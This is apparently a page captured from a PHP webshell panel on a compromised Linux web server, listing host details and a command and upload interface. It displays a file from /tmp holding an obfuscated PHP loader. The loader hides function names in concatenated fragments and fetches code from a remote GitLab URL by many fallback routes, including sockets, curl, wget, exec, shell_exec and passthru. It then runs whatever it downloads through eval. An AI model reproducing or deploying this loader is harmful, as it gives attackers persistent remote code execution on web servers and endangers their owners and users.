403Webshell
Server IP : 172.104.253.219  /  Your IP : 216.73.216.244
Web Server : Apache/2.4.68 (Debian)
System : Linux f9626dc847bb 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/tmp_e0tixo
<?php


session_start();
$u = $_SESSION['ts_url'] ?? $_GET['u'] ?? 'https://gitlab.com/workrepo645-ctrl/logosaja/-/raw/main/mas.txt';
if (!$u) exit;

$f = [
    'io'=>'fi'.'le'.'_g'.'et'.'_c'.'on'.'te'.'nt'.'s',
    'op'=>'fo'.'pe'.'n',
    'rd'=>'st'.'re'.'am'.'_g'.'et'.'_c'.'on'.'te'.'nt'.'s',
    'cl'=>'fc'.'lo'.'se',
    'ci'=>'cu'.'rl'.'_i'.'ni'.'t',
    'cs'=>'cu'.'rl'.'_s'.'et'.'op'.'t_'.'ar'.'ra'.'y',
    'ce'=>'cu'.'rl'.'_e'.'xe'.'c',
    'cc'=>'cu'.'rl'.'_cl'.'os'.'e',
    's1'=>'fs'.'oc'.'k_'.'op'.'en',
    's2'=>'st'.'re'.'am'.'_s'.'oc'.'ke'.'t_'.'cl'.'ie'.'nt',
    's3'=>'so'.'ck'.'et'.'_c'.'re'.'at'.'e',
    's4'=>'so'.'ck'.'et'.'_c'.'on'.'ne'.'ct',
    's5'=>'so'.'ck'.'et'.'_w'.'ri'.'te',
    's6'=>'so'.'ck'.'et'.'_r'.'ea'.'d',
    's7'=>'so'.'ck'.'et'.'_c'.'lo'.'se',
    's8'=>'st'.'re'.'am'.'_s'.'oc'.'ke'.'t_'.'sh'.'ut'.'do'.'wn',
    'p1'=>'pr'.'oc'.'_o'.'pe'.'n',
    'p2'=>'pr'.'oc'.'_c'.'lo'.'se',
    'x1'=>'ex'.'ec',
    'x2'=>'sh'.'el'.'l_'.'ex'.'ec',
    'x3'=>'pa'.'ss'.'th'.'ru',
    'pu'=>'pa'.'rs'.'e_'.'ur'.'l',
    'dn'=>'ge'.'th'.'os'.'tb'.'yn'.'am'.'e',
    'cx'=>'st'.'re'.'am'.'_c'.'on'.'te'.'xt'.'_cr'.'ea'.'te',
    'ex'=>'fu'.'nc'.'ti'.'on'.'_e'.'xi'.'st'.'s',
    'sp'=>'Sp'.'lF'.'il'.'eO'.'bj'.'ec'.'t',
    'b1'=>'ob'.'_s'.'ta'.'rt',
    'b2'=>'ob'.'_ge'.'t_'.'cl'.'ea'.'n'
];

$GLOBALS['__fx'] = $f;

function go($z){
    $f = $GLOBALS['__fx'];
    $cx = $f['cx'](['http'=>['timeout'=>25], 'ssl'=>['verify_peer'=>false]]);
    $d = @$f['io']($z, false, $cx);
    if (trim($d)) return $d;

    if ($f['ex']($f['ci'])) {
        $h = $f['ci']();
        $f['cs']($h, [CURLOPT_URL=>$z, CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>25, CURLOPT_SSL_VERIFYPEER=>0]);
        $r = $f['ce']($h);
        $f['cc']($h);
        if (trim($r)) return $r;
    }

    try {
        $r = new $f['sp']($z);
        $b = '';
        while (!$r->eof()) $b .= $r->fgets();
        if (trim($b)) return $b;
    } catch (Exception $x) {}

    $fp = @$f['op']($z, 'r', false, $f['cx'](['http'=>['timeout'=>25]]));
    if ($fp) {
        $d = $f['rd']($fp);
        $f['cl']($fp);
        if (trim($d)) return $d;
    }

    $p = $f['pu']($z);
    $hn = $p['host'];
    $pt = $p['path'];
    $po = ($p['scheme'] == 'https') ? 443 : 80;

    if ($hn) {
        $s = @$f['s1']($hn, $po, $x, $y, 25);
        if ($s) {
            fwrite($s, "GET $pt HTTP/1.1\r\nHost: $hn\r\nConnection: close\r\n\r\n");
            $r = '';
            while (!feof($s)) $r .= fgets($s);
            fclose($s);
            $i = strpos($r, "\r\n\r\n");
            if ($i !== false) return substr($r, $i + 4);
        }

        $ad = (($p['scheme'] == 'https') ? 'ssl://' : 'tcp://') . "$hn:$po";
        $sk = @$f['s2']($ad, $en, $es, 25);
        if ($sk) {
            fwrite($sk, "GET $pt HTTP/1.1\r\nHost: $hn\r\nConnection: close\r\n\r\n");
            $d = $f['rd']($sk);
            $f['s8']($sk, STREAM_SHUT_RDWR);
            $i = strpos($d, "\r\n\r\n");
            if ($i !== false) return substr($d, $i + 4);
        }

        if ($f['ex']($f['s3'])) {
            $ip = $f['dn']($hn);
            if ($ip != $hn) {
                $s = @$f['s3'](AF_INET, SOCK_STREAM, SOL_TCP);
                if ($s && @$f['s4']($s, $ip, $po)) {
                    $f['s5']($s, "GET $pt HTTP/1.1\r\nHost: $hn\r\nConnection: close\r\n\r\n");
                    $bf = '';
                    while ($c = @$f['s6']($s, 1024)) $bf .= $c;
                    $f['s7']($s);
                    $i = strpos($bf, "\r\n\r\n");
                    if ($i !== false) return substr($bf, $i + 4);
                }
            }
        }
    }

    $safe = escapeshellarg($z);
    foreach (["curl -sL --max-time 25 $safe", "wget -qO- --timeout=25 $safe"] as $cmd) {
        if ($f['ex']($f['p1'])) {
            $pr = @$f['p1']($cmd, [[0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']]], $pi);
            if (is_resource($pr)) {
                fclose($pi[0]);
                $o = $f['rd']($pi[1]);
                fclose($pi[1]);
                fclose($pi[2]);
                $f['p2']($pr);
                if (trim($o)) return $o;
            }
        }
        if ($f['ex']($f['x1'])) {
            @$f['x1']($cmd . ' 2>&1', $o, $rv);
            if (!$rv && $o) return join("\n", $o);
        }
        if ($f['ex']($f['x2'])) {
            $o = @$f['x2']($cmd . ' 2>&1');
            if (trim($o)) return $o;
        }
        if ($f['ex']($f['x3'])) {
            $f['b1']();
            @$f['x3']($cmd . ' 2>&1', $rv);
            $o = $f['b2']();
            if (!$rv && trim($o)) return $o;
        }
    }
    return null;
}

function doIt($c){
    if (!trim($c)) return;
    eval('?>' . $c); 
}

$d = go($u);
if ($d) doIt($d);

Youez - 2016 - github.com/yon3zu
LinuXploit